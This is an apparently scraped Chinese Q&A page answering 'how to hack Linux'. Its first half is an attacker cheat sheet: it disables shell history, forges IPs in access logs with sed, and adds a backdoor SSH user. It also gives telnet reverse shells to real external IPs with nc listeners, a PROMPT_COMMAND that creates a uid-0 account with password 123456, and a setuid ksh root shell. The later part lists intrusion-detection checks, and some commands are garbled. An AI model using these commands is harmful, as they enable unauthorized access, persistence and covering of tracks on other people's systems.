linux 怎么入侵？？

1，登录ssh之后不记录history

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOGexport HISTFILE=/dev/nullexport HISTSIZE=0export HISTFILESIZE=0

2. sed的一些邪恶用法

邪恶的替换到登录的IP和日志里的访问IP

sed -s ’s/211.xxx.xxx.xxx/192.168.1.1/g’ access_log access.log security

邪恶的添加ssh限制登录的用户

sed -i ’s/AllowUsers fuck root oracle/AllowUsers fuck root oracle rqcuser/g’ sshd_config

不过这个添加之后要强制重启sshd服务才可以生效

lsof -i:22 查找sshd的进程ID

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

sshd18662 root 11u IPv6 27925867 TCP *:ssh (LISTEN)

sshd31793 sshd 12u IPv6 34742994 TCP 192.168.1.2:ssh->192.168.1.5:49080 (ESTABLISHED)

然后

kill -SIGHUP 18662

3.通过webshell反dshell回来之后获取真正的ttyshell

python -c ‘import ptypty.spawn(“/bin/sh”)’

另外一种获取ttyshell的方法

$ cat sh.exp

#!/usr/bin/expect

# Spawn a shell, then allow the user to interact with it.

# The new shell will have a good enough TTY to run tools like ssh, su and login

spawn sh

interact

bash sh.exp

4.通过TELNET进行反向连接:

telnet [attacker_ipaddr] [port1] /bin/bash telnet [attacker_ipaddr] [port2]

telnet 210.51.173.41 8080 /bin/bash telnet 210.51.173.41 8081

/usr/bin/telnet 203.93.28.236 8000/bin/bash/usr/bin/telnet 203.93.28.236 8001

在203.93.28.236上面运行:

nc –l –p 8000

nc –l –p 8001

/usr/bin/telnet 192.168.1.100 8088/bin/bash/usr/bin/telnet 192.168.1.100 8089

5.curl download

The full command should look something like this:

curl -C – -O http://www.mirror.com/path/to/NeoOffice-Patch.dmg

6.Windows下面NC监听linux返回shell执行命令不能正确换行的解决办法

unalias ls

7.linux的BASH提权

export PROMPT_COMMAND=”/usr/sbin/useradd -o -u 0 kkoo &>/dev/null &&echo kkoo:123456 /usr/sbin/chpasswd &>/dev/null &&unset PROMPT_COMMAND”

8.ssh tunnel

ssh -C -f -N -g -L listen_portST_HostST_port user@Tunnel_Host

ssh -C -f -N -g -R listen_portST_HostST_port user@Tunnel_Host

ssh -C -f -N -g -D listen_port user@Tunnel_Host-f

9.本地rootshell

bash和tcsh是行不通的，其他的ash bsh zsh ksh均可。具体 *** 作比较简单，大概说一下cp /bin/ksh . chown root.root kshchmod 4755 ksh，然后执行ksh就可以获得root权限了；这一招虽然看似低俗，但某些时候还是很有用的。所以一般情况下把多余的shell删除可以在一定程度上增加黑客的入侵成本，没实施的同学可以考虑在标准化里面加入这个 *** 作

以下几种方法检测linux服务器是否被攻击：\x0d\x0a1、检查系统密码文件 \x0d\x0a首先从明显的入手，查看一下passwd文件，ls _l /etc/passwd查看文件修改的日期。 \x0d\x0a2、查看一下进程，看看有没有奇怪的进程 \x0d\x0a\x0d\x0a重点查看进程：ps _aef | grep inetd inetd是UNIX系统的守护进程，正常的inetd的pid都比较靠前，如果看到输出了一个类似inetd _s \x0d\x0a/tmp/.xxx之类的进程，着重看inetd \x0d\x0a_s后面的内容。在正常情况下，LINUX系统中的inetd服务后面是没有-s参数的，当然也没有用inetd去启动某个文件；而solaris系统中\x0d\x0a也仅仅是inetd \x0d\x0a_s，同样没有用inetd去启动某个特定的文件；如果使用ps命令看到inetd启动了某个文件，而自己又没有用inetd启动这个文件，那就说明已经有人入侵了系统，并且以root权限起了一个简单的后门。\x0d\x0a3、检查系统守护进程 \x0d\x0a检查/etc/inetd.conf文件，输入：cat /etc/inetd.conf | grep _v “^#”，输出的信息就是这台机器所开启的远程服务。 \x0d\x0a一般入侵者可以通过直接替换in.xxx程序来创建一个后门，比如用/bin/sh 替换掉in.telnetd，然后重新启动inetd服务，那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。\x0d\x0a4、检查网络连接和监听端口 \x0d\x0a输入netstat -an，列出本机所有的连接和监听的端口，查看有没有非法连接。 \x0d\x0a输入netstat _rn，查看本机的路由、网关设置是否正确。 \x0d\x0a输入 ifconfig _a，查看网卡设置。 \x0d\x0a5、检查系统日志 \x0d\x0a命令last | \x0d\x0amore查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程，这已经成为入侵者攻击的重要目标。入侵者通常会停止系\x0d\x0a统的syslog，查看系统syslog进程的情况，判断syslog上次启动的时间是否正常，因为syslog是以root身份执行的，如果发现\x0d\x0asyslog被非法动过，那说明有重大的入侵事件。 \x0d\x0a在linux下输入ls _al /var/log \x0d\x0a检查wtmp utmp，包括messgae等文件的完整性和修改时间是否正常，这也是手工擦除入侵痕迹的一种方法。 \x0d\x0a6、检查系统中的core文件 \x0d\x0a通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法，典型的RPC攻击就是通过这种方式。这种方式有一定的成功率，也就是说并不能\x0d\x0a100%保证成功入侵系统，而且通常会在服务器相应目录下产生core文件，全局查找系统中的core文件，输入find / -name core \x0d\x0a_exec ls _l {} \依据core所在的目录、查询core文件来判断是否有入侵行为。\x0d\x0a7、检查系统文件完整性 \x0d\x0a检查文件的完整性有多种方法，通常通过输入ls _l \x0d\x0a文件名来查询和比较文件，这种方法虽然简单，但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm _V \x0d\x0a`rpm _qf 文件名` \x0d\x0a来查询，查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多，这里不一一赘述，可以man \x0d\x0arpm来获得更多的格式。

入侵不严重的使用杀毒软件清理，并及时备案数据，然后如果可以的话，重做系统做好，以免有残留。

如果入侵严重并篡改密码的话，破解密码并保存数据后，重做系统，关闭高危端口。安装杀毒软件。

海腾数据晋慧娟

---